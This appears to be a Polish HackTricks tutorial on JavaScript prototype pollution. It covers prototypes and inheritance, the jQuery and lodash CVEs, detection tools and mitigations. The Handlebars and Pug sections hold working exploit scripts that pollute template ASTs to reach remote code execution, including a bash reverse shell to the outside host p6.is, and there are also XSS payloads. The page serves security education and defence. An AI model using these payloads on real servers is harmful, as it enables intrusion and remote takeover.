NodeJS - __proto__ i zanieczyszczenie prototypu

Reading time: 11 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Obiekty w JavaScript

Obiekty w JavaScript to w zasadzie zbiory par klucz-wartość, znane jako właściwości. Obiekt można utworzyć za pomocą Object.create z null jako argumentem, aby uzyskać pusty obiekt. Ta metoda pozwala na tworzenie obiektu bez dziedziczonych właściwości.

javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

Pusty obiekt jest podobny do pustego słownika, reprezentowanego jako {}.

Funkcje i klasy w JavaScript

W JavaScript klasy i funkcje są ze sobą ściśle powiązane, a funkcje często pełnią rolę konstruktorów dla klas. Mimo braku natywnego wsparcia dla klas w JavaScript, konstruktory mogą naśladować zachowanie klas.

javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

Prototypy w JavaScript

JavaScript pozwala na modyfikację, dodawanie lub usuwanie atrybutów prototypu w czasie rzeczywistym. Ta elastyczność umożliwia dynamiczne rozszerzanie funkcjonalności klas.

Funkcje takie jak toString i valueOf mogą być zmieniane, aby zmienić ich zachowanie, co pokazuje elastyczny charakter systemu prototypów JavaScript.

Dziedziczenie

W programowaniu opartym na prototypach, właściwości/metody są dziedziczone przez obiekty z klas. Klasy te są tworzone poprzez dodawanie właściwości/metod do instancji innej klasy lub do pustego obiektu.

Należy zauważyć, że gdy właściwość jest dodawana do obiektu pełniącego rolę prototypu dla innych obiektów (takiego jak myPersonObj), obiekty dziedziczące uzyskują dostęp do tej nowej właściwości. Jednak ta właściwość nie jest automatycznie wyświetlana, chyba że zostanie wyraźnie wywołana.

__proto__ zanieczyszczenie

Badanie zanieczyszczenia prototypu w JavaScript

Obiekty JavaScript są definiowane przez pary klucz-wartość i dziedziczą z prototypu obiektu JavaScript. Oznacza to, że modyfikacja prototypu obiektu może wpływać na wszystkie obiekty w środowisku.

Użyjmy innego przykładu, aby to zobrazować:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

Dostęp do prototypu obiektu jest możliwy przez:

javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__

Dodając właściwości do prototypu Object, każdy obiekt JavaScript będzie dziedziczył te nowe właściwości:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

zanieczyszczenie prototypu

W scenariuszu, w którym użycie __proto__ jest ograniczone, modyfikacja prototypu funkcji jest alternatywą:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

To wpływa tylko na obiekty utworzone z konstruktora Vehicle, nadając im właściwości beep, hasWheels, honk i isElectric.

Dwie metody, aby globalnie wpływać na obiekty JavaScript poprzez zanieczyszczenie prototypu, obejmują:

  1. Zanieczyszczenie Object.prototype bezpośrednio:
javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. Zanieczyszczanie prototypu konstruktora dla powszechnie używanej struktury:
javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

Po tych operacjach każdy obiekt JavaScript może wykonywać metody goodbye i greet.

Zanieczyszczanie innych obiektów

Z klasy do Object.prototype

W scenariuszu, w którym możesz zanieczyścić konkretny obiekt i musisz dostać się do Object.prototype, możesz go wyszukać za pomocą czegoś takiego jak poniższy kod:

javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Zanieczyszczenie elementów tablicy

Zauważ, że ponieważ możesz zanieczyścić atrybuty obiektów w JS, jeśli masz dostęp do zanieczyszczenia tablicy, możesz również zanieczyścić wartości tablicy dostępne za pomocą indeksów (zauważ, że nie możesz nadpisywać wartości, więc musisz zanieczyścić indeksy, które są w jakiś sposób używane, ale nie zapisywane).

javascript
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Zanieczyszczenie elementów Html

Podczas generowania elementu HTML za pomocą JS możliwe jest nadpisanie atrybutu innerHTML, aby umożliwić zapis dowolnego kodu HTML. Pomysł i przykład z tego opracowania.

javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Przykłady

Podstawowy przykład

Zanieczyszczenie prototypu występuje z powodu błędu w aplikacji, który pozwala na nadpisywanie właściwości w Object.prototype. Oznacza to, że ponieważ większość obiektów dziedziczy swoje właściwości z Object.prototype

Najłatwiejszym przykładem jest dodanie wartości do niezdefiniowanego atrybutu obiektu, który ma być sprawdzany, jak:

javascript
if (user.admin) {

Jeśli atrybut admin jest niezdefiniowany, możliwe jest nadużycie PP i ustawienie go na True za pomocą czegoś takiego:

javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Mechanizm stojący za tym polega na manipulowaniu właściwościami w taki sposób, że jeśli atakujący ma kontrolę nad określonymi danymi wejściowymi, może zmodyfikować prototyp wszystkich obiektów w aplikacji. Ta manipulacja zazwyczaj polega na ustawieniu właściwości __proto__, która w JavaScript jest synonimem bezpośredniej modyfikacji prototypu obiektu.

Warunki, w jakich ten atak może być pomyślnie przeprowadzony, jak opisano w konkretnej studii, obejmują:

  • Wykonywanie rekurencyjnego scalania.
  • Definiowanie właściwości na podstawie ścieżki.
  • Klonowanie obiektów.

Funkcja nadpisania

python
customer.__proto__.toString = ()=>{alert("polluted")}

Zanieczyszczenie prototypu do RCE

{{#ref}} prototype-pollution-to-rce.md {{#endref}}

Inne ładunki:

Zanieczyszczenie prototypu po stronie klienta do XSS

{{#ref}} client-side-prototype-pollution.md {{#endref}}

CVE-2019–11358: Atak zanieczyszczenia prototypu przez jQuery $ .extend

For further details check this article W jQuery funkcja $ .extend może prowadzić do zanieczyszczenia prototypu, jeśli funkcja głębokiego kopiowania jest wykorzystywana niewłaściwie. Funkcja ta jest powszechnie używana do klonowania obiektów lub łączenia właściwości z obiektu domyślnego. Jednak w przypadku niewłaściwej konfiguracji, właściwości przeznaczone dla nowego obiektu mogą zostać przypisane do prototypu. Na przykład:

javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

Ta luka, zidentyfikowana jako CVE-2019–11358, ilustruje, jak głębokie kopiowanie może nieumyślnie modyfikować prototyp, prowadząc do potencjalnych zagrożeń bezpieczeństwa, takich jak nieautoryzowany dostęp administratora, jeśli właściwości takie jak isAdmin są sprawdzane bez odpowiedniej weryfikacji istnienia.

CVE-2018–3721, CVE-2019–10744: Atak zanieczyszczenia prototypu przez lodash

Po więcej szczegółów sprawdź ten artykuł

Lodash napotkał podobne luki zanieczyszczenia prototypu (CVE-2018–3721, CVE-2019–10744). Problemy te zostały rozwiązane w wersji 4.17.11.

Inny samouczek z CVE

{{#ref}} https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2 {{#endref}}

Narzędzia do wykrywania zanieczyszczenia prototypu

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Rozszerzenie Burp Suite zaprojektowane do wykrywania i analizy luk zanieczyszczenia prototypu po stronie serwera w aplikacjach internetowych. To narzędzie automatyzuje proces skanowania żądań w celu zidentyfikowania potencjalnych problemów z zanieczyszczeniem prototypu. Wykorzystuje znane gadżety - metody wykorzystywania zanieczyszczenia prototypu do wykonywania szkodliwych działań - szczególnie koncentrując się na bibliotekach Node.js.
  • server-side-prototype-pollution: To rozszerzenie identyfikuje luki zanieczyszczenia prototypu po stronie serwera. Wykorzystuje techniki opisane w zanieczyszczeniu prototypu po stronie serwera.

Zanieczyszczenie prototypu AST w NodeJS

NodeJS szeroko wykorzystuje Drzewa Składni Abstrakcyjnej (AST) w JavaScript do funkcji takich jak silniki szablonów i TypeScript. Ta sekcja bada luki związane z zanieczyszczeniem prototypu w silnikach szablonów, szczególnie Handlebars i Pug.

Analiza luki w Handlebars

Silnik szablonów Handlebars jest podatny na atak zanieczyszczenia prototypu. Ta luka wynika z konkretnych funkcji w pliku javascript-compiler.js. Funkcja appendContent, na przykład, konkatenacja pendingContent, jeśli jest obecna, podczas gdy funkcja pushSource resetuje pendingContent do undefined po dodaniu źródła.

Proces eksploatacji

Eksploatacja wykorzystuje AST (Drzewo Składni Abstrakcyjnej) generowane przez Handlebars, postępując według tych kroków:

  1. Manipulacja parserem: Początkowo parser, za pośrednictwem węzła NumberLiteral, wymusza, aby wartości były numeryczne. Zanieczyszczenie prototypu może to obejść, umożliwiając wstawienie nienumerycznych ciągów.
  2. Obsługa przez kompilator: Kompilator może przetwarzać obiekt AST lub szablon ciągu. Jeśli input.type równa się Program, wejście jest traktowane jako wstępnie przetworzone, co można wykorzystać.
  3. Wstrzyknięcie kodu: Poprzez manipulację Object.prototype, można wstrzyknąć dowolny kod do funkcji szablonu, co może prowadzić do zdalnego wykonania kodu.

Przykład ilustrujący eksploatację luki w Handlebars:

javascript
const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

Ten kod pokazuje, jak atakujący może wstrzyknąć dowolny kod do szablonu Handlebars.

External Reference: Zgłoszono problem związany z zanieczyszczeniem prototypu w bibliotece 'flat', jak szczegółowo opisano tutaj: Issue on GitHub.

External Reference: Issue related to prototype pollution in the 'flat' library

Przykład wykorzystania zanieczyszczenia prototypu w Pythonie:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Luka w Pug

Pug, inny silnik szablonów, stoi przed podobnym ryzykiem zanieczyszczenia prototypu. Szczegółowe informacje są dostępne w dyskusji na temat AST Injection in Pug.

Przykład zanieczyszczenia prototypu w Pug:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Środki zapobiegawcze

Aby zmniejszyć ryzyko zanieczyszczenia prototypu, można zastosować poniższe strategie:

  1. Niemutowalność obiektów: Object.prototype można uczynić niemutowalnym, stosując Object.freeze.
  2. Walidacja wejścia: Wejścia JSON powinny być rygorystycznie walidowane zgodnie z schematem aplikacji.
  3. Bezpieczne funkcje scalania: Należy unikać niebezpiecznego użycia rekurencyjnych funkcji scalania.
  4. Obiekty bez prototypu: Obiekty bez właściwości prototypu można tworzyć za pomocą Object.create(null).
  5. Użycie Map: Zamiast Object, należy używać Map do przechowywania par klucz-wartość.
  6. Aktualizacje bibliotek: Łatki bezpieczeństwa można wprowadzać poprzez regularne aktualizowanie bibliotek.
  7. Narzędzia lintera i analizy statycznej: Używaj narzędzi takich jak ESLint z odpowiednimi wtyczkami, aby wykrywać i zapobiegać lukom związanym z zanieczyszczeniem prototypu.
  8. Przeglądy kodu: Wprowadź dokładne przeglądy kodu, aby zidentyfikować i usunąć potencjalne ryzyka związane z zanieczyszczeniem prototypu.
  9. Szkolenie w zakresie bezpieczeństwa: Edukuj programistów na temat ryzyk związanych z zanieczyszczeniem prototypu i najlepszych praktyk pisania bezpiecznego kodu.
  10. Ostrożne korzystanie z bibliotek: Bądź ostrożny podczas korzystania z bibliotek osób trzecich. Oceń ich bezpieczeństwo i przeglądaj ich kod, szczególnie te, które manipulują obiektami.
  11. Ochrona w czasie wykonywania: Wprowadź mechanizmy ochrony w czasie wykonywania, takie jak użycie pakietów npm skoncentrowanych na bezpieczeństwie, które mogą wykrywać i zapobiegać atakom zanieczyszczenia prototypu.

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks